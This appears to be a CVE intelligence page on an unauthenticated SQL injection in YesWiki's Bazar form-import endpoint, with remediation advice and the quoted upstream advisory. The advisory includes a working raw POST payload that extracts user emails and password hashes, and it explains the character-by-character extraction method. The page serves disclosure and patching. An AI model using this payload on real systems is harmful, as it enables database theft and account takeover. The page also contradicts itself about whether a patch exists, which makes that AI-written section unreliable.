Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconIdentify exposed YesWiki instance
-
DeliveryCraft POST to /?BazaR&vue=formulaire with SQL in imported-form key
-
ExploitFormManager::create concatenates into INSERT
-
InstallMySQL evaluates injected expression
-
C2Read result via /?api/forms
-
ExecuteIterate to dump yeswiki_users password hashes
-
ImpactCrack hashes offline for account takeover
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Parameterized queries, prepared statements
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Persistence The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | No special conditions - remote unauthenticated exploitation against default configurations of YesWiki 4.6.1, 4.6.2, or doryphore-dev (any version < 4.6.4); the vulnerable Bazar form-import endpoint /?BazaR&vue=formulaire is reachable without login on a stock install and no user interaction is required. The only practical limiting factors are network reachability of the YesWiki instance and that the backend must be a MySQL-compatible database supporting ASCII/SUBSTRING/HEX functions (which is YesWiki's standard configuration), plus the public /?api/forms endpoint must be accessible to read back the inferential output (the default). |
| Impact | All signals point to high real-world risk: CVSS 9.8 with vector AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H indicates remote, unauthenticated, low-complexity exploitation against default installs with full CIA impact, and a working Python PoC is already published in the upstream GHSA advisory. EPSS and CISA KEV status are not provided in the input, so widespread opportunistic exploitation cannot yet be confirmed; however, YesWiki is internet-exposed by design and the exfiltration of yeswiki_users.password hashes enables follow-on credential cracking and account takeover. This should be treated as a high-priority patch item for any internet-facing YesWiki deployment rather than a theoretical issue, given the trivial reachability and published exploit. |
| Exploit ScenarioDerived | An unauthenticated attacker on the internet sends a single crafted POST request to /?BazaR&vue=formulaire with a malicious imported-form key whose name contains a SQL expression such as 7791000+ASCII(SUBSTRING((SELECT HEX(CONCAT(email,0x3a,password)) FROM yeswiki_users LIMIT 1),1,1)). The server evaluates the expression inside the INSERT and stores the resulting integer as bn_id_nature, which the attacker retrieves via the public /?api/forms endpoint and subtracts the known base to recover each character; iterating yields full email/password-hash dumps. A working Python PoC (yeswiki_sqli_poc.py) is published in the GHSA advisory and automates the full extraction. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 23, 2026
Unauthenticated SQL injection in YesWiki's Bazar form-import path allows any remote visitor to inject arbitrary SQL into an INSERT statement and exfiltrate the entire database, including yeswiki_users.password hashes. Affects YesWiki 4.6.1, 4.6.2, and the doryphore-dev branch prior to 4.6.4. Publicly available exploit code exists (a working Python PoC is published in the GHSA advisory), though no public exploit identified in CISA KEV at time of analysis.
RemediationAI
Upgrade YesWiki to version 4.6.4 or later, which contains the upstream fix per GHSA-jwvv-qr7q-cv8j (https://github.com/YesWiki/yeswiki/security/advisories/GHSA-jwvv-qr7q-cv8j); composer users should run composer update yeswiki/yeswiki to pull >=4.6.4. If immediate patching is not possible, restrict network access to the YesWiki instance (for example, place it behind authentication at the reverse-proxy or VPN layer) and block POST requests to /?BazaR&vue=formulaire at a WAF, accepting that this will disable legitimate form-import functionality for unauthenticated users. After patching, rotate all yeswiki_users credentials and force password resets, since password hashes may already have been exfiltrated and are subject to offline cracking.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in composer, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
YesWiki is a PHP-based collaborative wiki platform; the Bazar module provides structured form/data management. The vulnerability is a classic CWE-89 SQL Injection caused by unquoted string concatenation of the user-controlled bn_id_nature parameter into an INSERT VALUES clause inside FormManager::create() (tools/bazar/services/FormManager.php line 258, analyzed against commit 1f485c0). Because the value is concatenated as a numeric expression rather than bound as a parameter, MySQL evaluates injected sub-expressions like ASCII(SUBSTRING((SELECT HEX(...)),1,1)) server-side and stores the resulting integer in the bn_id_nature column, enabling a boolean/inferential exfiltration channel readable via the public /?api/forms endpoint. The affected package per CPE is pkg:composer/yeswiki/yeswiki.
Know when PHP gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Primary rating from Vendor (https://github.com/YesWiki/yeswiki) · only source for this CVE.
CVSS VectorVendor: https://github.com/YesWiki/yeswiki
DescriptionCVE.org
Summary
An unauthenticated SQL injection in the Bazar form-import path (FormManager::create()) allows any unauthenticated visitor of a default YesWiki install to inject arbitrary SQL into an INSERT statement and read the full database, including yeswiki_users.password hashes. Present in 4.6.1 / 4.6.2 / current doryphore-dev; analyzed against upstream commit 1f485c049db030b94c047ec219e63534ac81142e.
Details
Sink is at FormManager::create() (function at L232), unquoted concatenation of bn_id_nature into the INSERT VALUES list at https://github.com/YesWiki/yeswiki/blob/1f485c049db030b94c047ec219e63534ac81142e/tools/bazar/services/FormManager.php#L258
Reachability is unauthenticated.
PoC
- Clone the repo (test was done on 1f485c049db030b94c047ec219e63534ac81142e)
- Bring up the service using docker:
cd docker && docker compose build && docker compose up - Go to
https://localhost:8085 - Go through the installation
- Run the POC:
<img width="672" height="54" alt="image" src="https://github.com/user-attachments/assets/fc9a9adf-7d09-442b-bcc1-8edf1bdcf0a1" />
Impact
Sql injection. An attacker can dump the whole db, including usernames, emails, and hashed passwords.
More details
Sample http request (copied from burp):
POST /?BazaR&vue=formulaire HTTP/1.1
Accept-Encoding: gzip, deflate, br
Content-Length: 353
Host: localhost:8085
User-Agent: Python-urllib/3.13
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
imported-form%5B7791000%2BASCII%28SUBSTRING%28%28SELECT%2F%2A%2A%2FHEX%28CONCAT%28email%2C0x3a%2Cpassword%29%29%2F%2A%2A%2FFROM%2F%2A%2A%2Fyeswiki_users%2F%2A%2A%2FLIMIT%2F%2A%2A%2F1%29%2C1%2C1%29%29%5D=%7B%22bn_label_nature%22%3A+%22zz_poc_7790000_1%22%2C+%22bn_template%22%3A+%22%22%2C+%22bn_description%22%3A+%22%22%2C+%22bn_condition%22%3A+%22%22%7DPOC internals:
The PoC uses an expression like: 7330000 + ASCII(SUBSTRING((SELECT HEX(VERSION())), 1, 1))
Breakdown SELECT HEX(VERSION()) or whatever the statement is (the poc file dumps 1 username and password) This gets the database version and hex-encodes it. Example:
VERSION() = 9.7.0
HEX(VERSION()) = 392E372E30Then: SUBSTRING((SELECT HEX(VERSION())), 1, 1) takes one character from that hex string. For position 1, this returns 3, then: ASCII(...) converts that character to its ASCII code: ASCII('3') = 51 Then: 7330000 + 51 produces 7330051 So the full vulnerable insert becomes roughly:
INSERT INTO yeswiki_nature (..., bn_id_nature, ...)
VALUES (7330000 + ASCII(SUBSTRING((SELECT HEX(VERSION())), 1, 1)), "fr-FR", ...);MySQL evaluates the expression before storing it, so the inserted row has: bn_id_nature = 7330051 The PoC reads that ID from /?api/forms, subtracts 7330000, gets 51, converts 51 back to '3', and repeats for the next character.
Executive ViewAI
YesWiki versions 4.6.1 and 4.6.2 contain a critical unauthenticated SQL injection vulnerability in the form-import function that allows any internet-connected attacker to exfiltrate the entire database, including user password hashes, without authentication. No vendor patch is currently available, exposing all affected installations to immediate compromise. Organizations running these versions face material risk of complete data breach and credential theft.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Deploy Web Application Firewall rules to block requests to form-import path; (2) restrict network access to YesWiki instances via IP whitelisting or VPN requirement; (3) disable form-import feature if operationally feasible; (4) implement detailed access logging and monitor for SQL injection patterns; (5) prepare credential rotation and breach notification procedures.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
SQL injection exploits the way applications construct database queries by mixing user input directly into SQL statements.
In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
EUVD-2026-56150
GHSA-jwvv-qr7q-cv8j
NVD
CVE.org
EPSS
VulDB
Exploit-DB